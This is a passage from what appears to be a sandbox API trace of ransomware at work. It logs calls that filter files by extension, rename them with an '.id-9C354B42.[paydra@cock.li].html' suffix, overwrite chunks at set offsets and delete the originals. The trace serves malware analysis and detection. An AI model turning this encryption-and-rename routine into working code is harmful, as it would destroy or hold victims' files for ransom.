lpString2=".dll") returned 1 [0046.511] lstrlenW (lpString=".rar") returned 4 [0046.511] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.511] lstrlenW (lpString=".bz2") returned 4 [0046.511] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.511] lstrlenW (lpString=".7z") returned 3 [0046.511] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.511] lstrlenW (lpString=".dbf") returned 4 [0046.511] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.511] lstrlenW (lpString=".1cd") returned 4 [0046.511] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0046.511] lstrlenW (lpString=".jpg") returned 4 [0046.511] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.511] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0046.511] lstrlenW (lpString="Office32WW.msi") returned 14 [0046.512] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0046.740] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1992192) returned 1 [0046.740] CloseHandle (hObject=0x210) returned 1 [0046.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0046.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.741] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html")) returned 1 [0046.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0046.741] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.741] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.741] ReadFile (in: hFile=0x210, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.129] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.129] ReadFile (in: hFile=0x210, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.134] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.134] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.134] ReadFile (in: hFile=0x210, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.152] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.152] WriteFile (in: hFile=0x210, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0047.398] SetEndOfFile (hFile=0x210) returned 1 [0047.398] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0047.485] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.485] WriteFile (in: hFile=0x210, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.486] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.486] WriteFile (in: hFile=0x210, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.488] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.488] WriteFile (in: hFile=0x210, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.490] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0047.490] CloseHandle (hObject=0x210) returned 1 [0047.490] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.490] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.490] lstrlenW (lpString=".doc") returned 4 [0047.490] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString=".docx") returned 5 [0047.491] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.491] lstrlenW (lpString=".pdf") returned 4 [0047.491] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.491] lstrlenW (lpString=".xls") returned 4 [0047.491] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.491] lstrlenW (lpString=".xlsx") returned 5 [0047.491] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.491] lstrlenW (lpString=".ppt") returned 4 [0047.491] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString=".zip") returned 4 [0047.491] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.491] lstrlenW (lpString=".rar") returned 4 [0047.491] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.491] lstrlenW (lpString=".bz2") returned 4 [0047.491] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString=".7z") returned 3 [0047.491] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString=".dbf") returned 4 [0047.491] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString=".1cd") returned 4 [0047.491] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString=".jpg") returned 4 [0047.491] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.491] lstrlenW (lpString=".doc") returned 4 [0047.491] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.491] lstrlenW (lpString=".docx") returned 5 [0047.491] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0047.492] lstrlenW (lpString=".pdf") returned 4 [0047.492] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.492] lstrlenW (lpString=".xls") returned 4 [0047.492] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.492] lstrlenW (lpString=".xlsx") returned 5 [0047.492] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0047.492] lstrlenW (lpString=".ppt") returned 4 [0047.492] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.492] lstrlenW (lpString=".zip") returned 4 [0047.492] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.492] lstrlenW (lpString=".rar") returned 4 [0047.492] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.492] lstrlenW (lpString=".bz2") returned 4 [0047.492] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.492] lstrlenW (lpString=".7z") returned 3 [0047.492] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.492] lstrlenW (lpString=".dbf") returned 4 [0047.492] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.492] lstrlenW (lpString=".1cd") returned 4 [0047.492] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.492] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0047.492] lstrlenW (lpString=".jpg") returned 4 [0047.492] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.492] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0047.493] lstrlenW (lpString="PidGenX.dll") returned 11 [0047.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.493] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=1463568) returned 1 [0047.493] CloseHandle (hObject=0x210) returned 1 [0047.493] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0047.493] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0047.493] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.493] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0047.493] GetLastError () returned 0x0 [0047.493] ReadFile (in: hFile=0x210, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0047.525] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0047.846] ReadFile (in: hFile=0x210, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x65520, lpOverlapped=0x0) returned 1 [0047.858] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0047.867] ReadFile (in: hFile=0x210, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.867] WriteFile (in: hFile=0x17c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.867] SetEndOfFile (hFile=0x17c) returned 1 [0047.867] CloseHandle (hObject=0x17c) returned 1 [0047.867] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.867] SetEndOfFile (hFile=0x210) returned 1 [0047.870] CloseHandle (hObject=0x210) returned 1 [0047.870] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.871] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString=".doc") returned 4 [0048.234] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString=".docx") returned 5 [0048.234] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.234] lstrlenW (lpString=".pdf") returned 4 [0048.234] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString=".xls") returned 4 [0048.234] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString=".xlsx") returned 5 [0048.234] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.234] lstrlenW (lpString=".ppt") returned 4 [0048.234] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString=".zip") returned 4 [0048.234] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString=".rar") returned 4 [0048.234] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.234] lstrlenW (lpString=".bz2") returned 4 [0048.234] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.234] lstrlenW (lpString=".7z") returned 3 [0048.234] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString=".dbf") returned 4 [0048.234] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString=".1cd") returned 4 [0048.234] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.234] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.234] lstrlenW (lpString=".jpg") returned 4 [0048.234] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString=".doc") returned 4 [0048.235] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString=".docx") returned 5 [0048.235] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0048.235] lstrlenW (lpString=".pdf") returned 4 [0048.235] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString=".xls") returned 4 [0048.235] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString=".xlsx") returned 5 [0048.235] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0048.235] lstrlenW (lpString=".ppt") returned 4 [0048.235] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString=".zip") returned 4 [0048.235] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString=".rar") returned 4 [0048.235] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0048.235] lstrlenW (lpString=".bz2") returned 4 [0048.235] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0048.235] lstrlenW (lpString=".7z") returned 3 [0048.235] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString=".dbf") returned 4 [0048.235] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString=".1cd") returned 4 [0048.235] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0048.235] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0048.235] lstrlenW (lpString=".jpg") returned 4 [0048.235] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0048.236] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0048.236] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0048.236] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.875] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=162970271) returned 1 [0048.876] CloseHandle (hObject=0x20c) returned 1 [0048.876] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0048.876] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0048.876] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0048.881] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0048.887] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.887] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.906] ReadFile (in: hFile=0x20c, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.916] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.916] ReadFile (in: hFile=0x20c, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.957] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.957] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.957] ReadFile (in: hFile=0x20c, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.974] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.974] WriteFile (in: hFile=0x20c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.169] SetEndOfFile (hFile=0x20c) returned 1 [0049.170] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ed1060 [0049.170] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.170] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed1060*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.170] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.170] WriteFile (in: hFile=0x20c, lpBuffer=0x3ed1060*, nNumberOfBytesToWrite=0x40000, 